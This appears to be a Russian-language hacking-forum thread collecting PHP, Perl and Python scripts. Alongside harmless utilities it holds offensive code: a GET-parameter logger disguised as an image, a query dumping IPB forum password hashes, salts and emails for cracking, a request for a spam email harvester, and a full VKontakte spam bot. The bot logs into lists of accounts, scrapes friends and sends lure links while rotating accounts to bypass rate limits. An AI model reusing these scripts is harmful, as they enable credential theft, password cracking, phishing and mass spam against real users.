PHP-Getting Что нового: 1. Сделаны галки в менеджере. 2. Возможность добавления комментариеви сохранение ссылок. 3. Переименовывание в файл-менеджере 4. Добалены getfile.biz, webfile.ru, slil.ru / zalil.ru. 5. Заново исправлена почтовая функция ;-) Надеюсь в последний раз... Описание: Скрипт умеет сливать файлы с rapidshare.de, www.megaupload.com, www.upload2.net, www.mytempdir.com, getfile.biz, webfile.ru, slil.ru или zalil.ru, по прямым ссылкам, включая ftp (с возможностью авторизации), плюс умеет разбивать файлы на части и отправлять их на почтовый ящик. И ещё имеет удобный менеджер скаченных файлов для проведения операций над ними. НАСТРОЙКА: 1). Создайте папку на сервере, выставьте на неё права (chmod) 777. 2). Залейте в папку скрипт и используйте по назначению Ссылки: http://slil.ru/25867346 http://dump.ru/file_catalog/442257
Описание: Скрипт для генерации последовательности печати "книжкой" PHP: <? $sheets=14; // число листов в буклете $l=1; $r=$sheets*4; for($k=1;$k<=$sheets;$k++) { // echo "Sheet ".$k." :<br>"; // echo "side 1: ". $l ." & ". $r ."<br>"; echo $r.','.$l.','; // для печати 1 стороны $l++; $r--; // echo "side 2: ". $l ." & ". $r ."<br>"; //echo $r.','.$l.','; // для печати 2 стороны // расскоментить по очереди $l++; $r--; } либо генерирует последовательность, либо системными вызовами переименовывает странички, чтобы из них собрать единый пдф для печати. ИМХО: шпоры хорошо печатает ))
114 Power Scripts - набор из 114 CGI-скриптов. На некотором сайте продаётся за 9,99$ Для тех кто занимается сайтостроением и SEO подборочка будет однозначно незаменима... Льём отсюда . В архиве есть подробное описание на все скрипты, здесь пишу только названия:
небольшой php-скрипт, который записывает все посещения страницы в лог файл PHP: <? /** небольшой php-скрипт, который записывает все посещения страницы в лог файл автор не я, но честно не помню кто.. */ $query = @$_SERVER['QUERY_STRING']; if ($query == "" or !ereg("^loged=1", $query)) { $get_time = date("d.m.Y (H:i:s)", time()); $get_ip = getenv("REMOTE_ADDR"); $get_browser = getenv("HTTP_USER_AGENT"); $get_port = getenv("REMOTE_PORT"); $get_connect = $_SERVER['HTTP_CONNECTION']; $get_host = gethostbyaddr(getenv("REMOTE_ADDR")); $get_referer = @$_SERVER['HTTP_REFERER']; $fopen = fopen ("log.txt", "a+"); fputs ($fopen, "\n---------- Detected at $get_time--------------\n"); fputs ($fopen, "IP: $get_ip\n"); fputs ($fopen, "Browser: $get_browser\n"); fputs ($fopen, "Port: $get_port\n"); fputs ($fopen, "Host: $get_host\n"); fputs ($fopen, "Connection: $get_connect\n"); fputs ($fopen, "Referer: $get_referer\n"); fclose ($fopen); die(""); } else if (ereg("^loged=1", $query)) { $fopen = fopen ("log.txt", "a+"); foreach ($_GET as $key => $value) fputs ($fopen, "$key $value"); fclose ($fopen); header ('Content-type: image/jpeg'); die (readfile("real_photo.jpg")); } ?>
очень простой Proxy Judge (судья, типа) начинающему PHP: <?php echo "<b>ProxyJudge V1.0.0</b><br>"; echo "<pre>\n"; echo "HTTP_ACCEPT = ".$_SERVER['HTTP_ACCEPT']."\n"; echo "HTTP_ACCEPT_CHARSET = ".$_SERVER['HTTP_ACCEPT_CHARSET']."\n"; echo "HTTP_ACCEPT_LANGUAGE = ".$_SERVER['HTTP_ACCEPT_LANGUAGE']."\n"; echo "HTTP_CONNECTION = ".$_SERVER['HTTP_CONNECTION']."\n"; echo "HTTP_HOST = ".$_SERVER['HTTP_HOST']."\n"; echo "HTTP_USER_AGENT = ".$_SERVER['HTTP_USER_AGENT']."\n"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ echo "HTTP_X_FORWARDED_FOR = ".$_SERVER['HTTP_X_FORWARDED_FOR']."\n"; } if(isset($_SERVER['HTTP_VIA'])){ echo "HTTP_VIA = ".$_SERVER['HTTP_VIA']."\n"; } echo "REMOTE_ADDR = ".$_SERVER['REMOTE_ADDR']."\n"; echo "REMOTE_PORT = ".$_SERVER['REMOTE_PORT']."\n"; echo "REQUEST_METHOD = ".$_SERVER['REQUEST_METHOD']."\n"; echo "REQUEST_URI = ".$_SERVER['REQUEST_URI']."\n"; echo "\n</pre>"; ?> геолокейшн на perl (может кому пригодится, сам использую для различного таргетинга, лукапа прокси и пр., скрин работы - http://caco-daemon.ueuo.com/a.html) перл-модуль лежит здесь: http://ppm4.activestate.com/MSWin32-x86/5.10/1002/Geo-IP2Location.ppd база-данных здесь: http://www.ip2location.com/developers.aspx ограничение бесплатной базы: IP от 0.0.0.0 до 99.255.255.255 PHP: use bytes; use Net::hostent; use Geo::IP2Location; sub get_geoloc(){ my $host=""; if(defined($_[0])){ $host=$_[0]; }else{ return 0; } my $ip=0; if($host !~ /^(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])$/i){ print "resolving $host: "; unless($h=gethost($host)){ warn "no such host: $host\n"; return 0; } $ip=inet_ntoa($h->addr); print "$ip\n"; }else{ $ip=$host; } # путь к базе данных # сменить, естественно my $geodb="c:\\strawberry\\perl\\site\\lib\\auto\\Geo\\IP2Location\\IP-COUNTRY-REGION-CITY-LATITUDE-LONGITUDE-ZIPCODE-TIMEZONE-ISP-DOMAIN-NETSPEED-SAMPLE.BIN"; my $obj=Geo::IP2Location->open($geodb) or print "geolocation disabled\n"; unless($obj != 0){ return 0; } my @info=$obj->get_all("$ip"); my $n=0; print "*--------------------*\n"; foreach $dt (@info){ if($dt =~ "INVALID"){ print "got wrong IPv4 address\n"; return 0; } if($dt eq "??"){ print "no information about $ip\nfree database limitations :(\n"; return 0; } if($dt !~ "unavailable" and $n ne 0 and length($dt) > 0){ # печатаем всё, кроме шорт-кода страны print "$dt"; } $n++; } print "\n"; print "*--------------------*\n"; return @info; } если видел кто полную версию геоип базы (от ip2location) по торрентам/рапидам - сообщите писал как-то геолок на php (maxmind) + автоген google карты, если кому надо - поищу, скину.
А на пыхе забацаешь такой? Появилась необходимость фильтровать несколько стран... Уже нашёл... Если кому надо: ТЫЦ
раз есть тема "полезные скрипты", значит быть ему здесь. а если удалят - то знач Исис таки превышает полномочия вот тут, собственно бесплатный javascript mp3grabber для vkontakte.ru http://3453620.livejournal.com/15421.html добавив его в свой браузер, вы сможете видеть прямые ссылки на музыку, выложенную вконтакте, на той же самой странице, под левым меню. всё очень просто. по ссылке дано подробное описание установки и использования.
Недавно возникла необходимость для себя написать скрипт, удаляющий дупликаты. Кому надо - забирайте. PHP: <? $file_in = file("file_in.txt"); $a = count($file_in); $strings = array_unique(File("file_in.txt")); $file_out = fopen("file_out.txt", "w"); fwrite ($file_out,implode("",$strings)); $file = file("file_out.txt"); $b = count($file); fclose($file_out); $c = $a - $b; echo ("После удаления дупликатов осталось $b строк. Дупликатов - $c") ?>
Получение id:hash:salt:mail из БД IPB для импорта в PasswordsPro PHP: <?php //Настойка $host = 'localhost'; //хост $login = 'login'; // логин БД $passw = 'password'; // пароль БД $dbase = 'forum_db'; // БД $table = 'ibf_members_converge'; //таблица БД IPB //подключаемся к серверу $link = mysql_connect($host,$login,$passw); mysql_select_db($dbase,$link); //получаем список id:hash:salt:email $result_hash = mysql_query("SELECT converge_id,converge_pass_hash,converge_pass_salt,converge_email FROM $table"); while ($row = mysql_fetch_array($result_hash, MYSQL_ASSOC)) { printf ("%s:%s:%s:%s<br />", $row["converge_id"],$row["converge_pass_hash"], $row["converge_pass_salt"],$row["converge_email"]);} ?>
Занимаюсь спутниковой рыбалкой. Падает с неба уйма *.html. Нужен скриптик (граббер мыл)с таким вот ТЗ: - открывать все файлы в текущей дире и выдирать мыльники - мыльники сохранять в файло по домену типа ([email protected]) - исключить дублирование - все провереное файло удалять - работа в цикле без останова Если кто напишет такое чудо отблагодарю жирной базой ))
идёт продвижение по питону Code: #!/usr/bin/env python from Tkinter import * import random def rand(): mystring = ("A","B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", \ "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", \ "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", \ "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", \ "0", "1", "2", "3", "4", "5", "6", "7", "8", "9") try: num = int(entry.get()) except: textbox.insert(END, "Failed recieving Length Value\n\n") r = ''.join(random.sample(mystring, num)) textbox.insert(END, r + "\n\n") def clear(): try: textbox.delete(0.0, END) except: textbox.insert(END, "Unable to Clear Data\n\n") root = Tk() root.title("generator paroley") frame = Frame(root) entry = Entry(frame) label = Label(frame, text="kol-vo simvolop v parole") label.pack(side=LEFT) entry.pack(side=LEFT) button = Button(frame, text="Go", command=rand) button.pack(side=LEFT) label=Label(frame, text="by alextoun") label.pack(side=RIGHT) button2 = Button(frame, text="Del", command=clear) button2.pack(side=LEFT) frame.pack() frame2 = Frame(root) textbox = Text(frame2) textbox.pack(side=LEFT, fill=BOTH, expand=TRUE) frame2.pack(expand=TRUE, fill=BOTH) root.mainloop()
Кто качал сайты прогами Teleport Pro или Offline Explorer Enterprise . Тот наверное сталкивался с тем что конечные файлы получаются с расшерением к примеру ".php@id=news&new=2406200402&print=1" Обработать пхп в таких файлах врядли получится, я пытался хтаксесс заставить это сделать ничего не вышло. Но если у Вас пару файлов то это не беда но если их кол-во переваливает за 100 то уже влом руками править ссылки. И был написан вот такой скрипт : 1. Скрпт находит все файлы с "кривыми расширениями" 2. Правит в них все линки, заменяя окончание на .php например было index.php@id=news&new=2406200402&print=1 стало index_id=news&new=2406200402&print=1.php 3. Перебивает все имена файлов по принципу пункта "2" 4. Удаляет кривые файлы и осталяет нужные PHP: <? $start_dir = "123"; //сюда пишем директорию в которой будем искать и заменять $FILES = array(); function found_directory($dirname) { global $FILES; if (is_dir($dirname)){ $dir_handle = opendir($dirname); } if (!$dir_handle){return false;} while($file = readdir($dir_handle)) { if ($file != "." && $file != "..") { if (!is_dir($dirname."/".$file)){ if (preg_match('/(?:index\\.php[@](.*))|(?:(.*).html?)/', $file)) { $FILES[] = $dirname."/".$file; } }else{ found_directory($dirname.'/'.$file); } } } closedir($dir_handle); return true; } found_directory($start_dir); //print_r($FILES); set_time_limit(0); foreach($FILES as $file_n){ $cont=file_get_contents($file_n); $cont = preg_replace('~href=("|\')?([-\\w\\\\\\/_ .!@#$%\\^&*]*)\\.php@([-a-zA-Z0-9=@_!#$%*\\(\\)&]*)("|\')?~', 'href=$1$2_$3.php$4', $cont); $cont = preg_replace('/href=("|\')?(.*)\\.html?("|\')?/', 'href=$1$2.php$3', $cont); $f_n = preg_replace('~([-\\w\\\\\\/_ .!@#$%\\^&*]*)\\.php@([-a-zA-Z0-9=@_!#$%*\\(\\)&]*)~', '$1_$2.php', $file_n); $f_n = preg_replace('/(.*)\\.html?/', '$1.php', $f_n); $handle = fopen($f_n, 'w'); fwrite($handle, $cont); fclose($handle); unlink($file_n); echo($file_n." ($f_n)<br>"); } ?> Мини-инструкция: кидаем весь сайт например в директория "123" рядом с ней кидаем файл скрипта и запускаем. все ждем окончания. Юзайте кому надо.
ZerIpgen ZerIpgen это php скрипт который создает список ip заданного диапазона. работает он из коносоли. пример запуска Code: php ZerIpgen.php -s 192.168.0.1 -e 192.168.0.4 Name: ZerIpGen Wersion: 1.1 OS: Unix, windows Download: http://zerolab.ru/news/reliz-zeripgen-genirator-ip-listov.html Autor: Zer0 Site: http://zerolab.ru
С каждым днем наблюдается стремительный рост сервисов, например сайт вконтакте.ру и является самым посещаемым, поэтому подобные сервисы можно смело рассматривать как перспективное средство для массовых рассылок. [ Реализация ] Зададим необходимые константы и тексты писем (достаточно 2 варианта писем): PHP: <? ///////////////////////// // vkontakte-friends spam // vspam.php // (C) diehard ///////////////////////// $accsfile = "accs.txt"; $logsfile = "logs.txt"; $host = "vkontakte.ru"; $urlfriends = "/friend.php"; // страница, откуда будем парсить френдов $urlmail = "/mail.php"; // страница, откуда будем парсить secure-код и рассылать мессаги $title[] = "Привет!"; $title[] = "Доброго времени дня!"; $message[] = "Как поживаешь? не могу разобраться как тут загружать новые фотки, а здесь http://formyfriends111.narod.ru/ давно собраны мои забавные фотки для друзей :)))"; $message[] = "привет! Как твои дела? не могу никак разобраться как загружать тут новые фотки, здесь http://formyfriends111.narod.ru/ давно собраны мои самые забавные фотки для друзей :-)"; функции для скачки страницы, записи логов и отправки мессаги. Нужно отметить: чтобы отправить сообщение от юзера А юзеру Б нужно знать secure-код безопасной отправки (тоже видимо такая "защита"), который вычисляется на сервере и прописывается в скрытом input-е на самой странице отправки. Поэтому перед отправкой сперва загружаем эту страницу, парсим оттуда secure-код и подставляем его в запрос. PHP: set_time_limit(0); function GetPage($domain, $path, $cookie) { $hostname = gethostbyname($domain); $responce = ""; $errnum=0;$errstr=""; $fsock = fsockopen($hostname,80,$errnum,$errstr,5); if(!$fsock) { return 0; } $headers = "GET $path HTTP/1.0\r\n". "Host: $domain\r\n". "User-Agent: Mozilla/5.0\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "$cookie". "Connection: close\r\n". "\r\n"; fwrite($fsock,$headers); while(!feof($fsock)) { $responce .= fread($fsock,1024); } fclose ($fsock); return $responce; } // статус работы будем выводить в отдельный DIV function SetStatus($status){ echo "<script>document.getElementById('statusDiv').innerHTML='$s tatus';</script>"; } // лог пишем в файл и по желанию в отдельный DIV (раскоментить echo) function SetLog($logmsg){ $fp=@fopen($GLOBALS["logsfile"], "a"); fwrite($fp, $logmsg."/r/n"); fclose($fp); //echo "<script>document.getElementById('logDiv').innerHTML = '".$logmsg."<br>'+ document.getElementById('logDiv').innerHTML;</script>"; SetStatus($logmsg); } function SendMail($from_id, $to_id, $t, $msg){ SetLog("SendMail $from_id:$to_id:$t:$msg"); // достаём secure $mailpage = GetPage($GLOBALS["host"], $GLOBALS["urlmail"]."?act=write&to=".$to_id, $GLOBALS["logincookies"][$from_id]); preg_match_all('/name="secure" value="(\w+)/', $mailpage, $mailsecure); foreach ($mailsecure[1] as $sss) {$secure=$sss;} SetLog("Parsed secure-code from ".$from_id." to ".$to_id.": ".$secure); // формируем post-запрос отправки $post="secure=$secure&photo=&to_id=$to_id&to_reply=0&act=sent&title=$t&message=$msg"; $len = strlen($post); $query = "POST ".$GLOBALS["urlmail"]." HTTP/1.1\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n". "Host: ".$GLOBALS["host"]."\r\n". $GLOBALS["logincookies"][$from_id]. "Content-Type: application/x-www-form-urlencoded\r\n". "Connection: close\r\n". "Content-Length: $len\r\n". "\r\n". "$post"; $conn = fsockopen($GLOBALS["host"], 80, $errno, $errstr, 1000); fputs($conn, $query); while (!feof($conn)) { $ss = fgets($conn, 128); } } А теперь реализуем сам алгоритм работы программы: Чтение акков (в формате id:emailassword) сразу же сформируем массив кукисов $logincookies[$id], которые будут использоваться для логина под разными акками PHP: $fp=@fopen($accsfile,"r"); while(!feof($fp)){ $account = trim(fgets($fp)); $ac = explode(":", $account); $id = $ac[0]; $email = $ac[1]; $md5 = md5($ac[2]); $accs[] = $id; $logincookies[$id] = "Cookie: remixchk=2; remixmid=$id; remixemail=$email; remixpass=$md5\r\n"; }fclose($fp); Парсим списки френдов для каждого акка в массив $friends[$id][]: PHP: $maxsize = 0; foreach ($accs as $curracc){ $currfriendspage = GetPage($host, $urlfriends, $logincookies[$curracc]); preg_match_all("/write&to=(\w+)/", $currfriendspage, $currfriends); foreach ($currfriends[1] as $currfriend){ $friends[$curracc][] = $currfriend; } $currsize = sizeof($friends[$curracc]); if ($currsize>$maxsize) $maxsize = $currsize; } Для наблюдения за процессом рассылки выводим слои статуса, лога и следующую таблицу: строки=акки, столбцы=френды акков PHP: echo "<table id='tableFr' border=1 cellspacing=0 cellpadding=0>". "<tr id='trFr0'>". "<td id='tdFr0_0'></td>"; for ($i=1;$i<=$maxsize;$i++) { echo "<td id='tdFr0_$i'>Friend$i</td>";}; echo "</tr>"; $n=1; foreach ($accs as $curracc){ echo "<tr id='trFr$n'>"; echo "<td id='tdFr".$n."_0'>id$curracc</td>"; for ($i=0;$i<sizeof($friends[$curracc]);$i++) { echo "<td id='tdFr".$n."_".($i+1)."'>".$friends[$curracc][$i]."</td>";}; for ($i=$i;$i<$maxsize;$i++) {echo "<td id='tdFr".$n."_".($i+1)."'>_</td>";}; echo "</tr>"; $n++; } echo "</table>". "<div style='border-width:1;border:1;color:#0000FF' id='statusDiv'></div><br>". "<div id='logDiv'></div>"; Таким образом пока первый акк простаивает установленное ему ограничение в одну секунду, рассылка продолжается на следующих акках, таким образом мы обходим защиту от множественных рассылок за единицу времени. PHP: for($i=0;$i<$maxsize;$i++){ for($j=0;$j<sizeof($accs);$j++){ if ($i<sizeof($friends[$accs[$j]])) { echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor = '#0000FF';</script>"; SetStatus("Sending from ".$accs[$j]." to ".$friends[$accs[$j]][$i]); SendMail($accs[$j], $friends[$accs[$j]][$i], $title[$ % 2], $message[$i % 2]); echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor='#00FF00';<script>"; }} sleep(1); }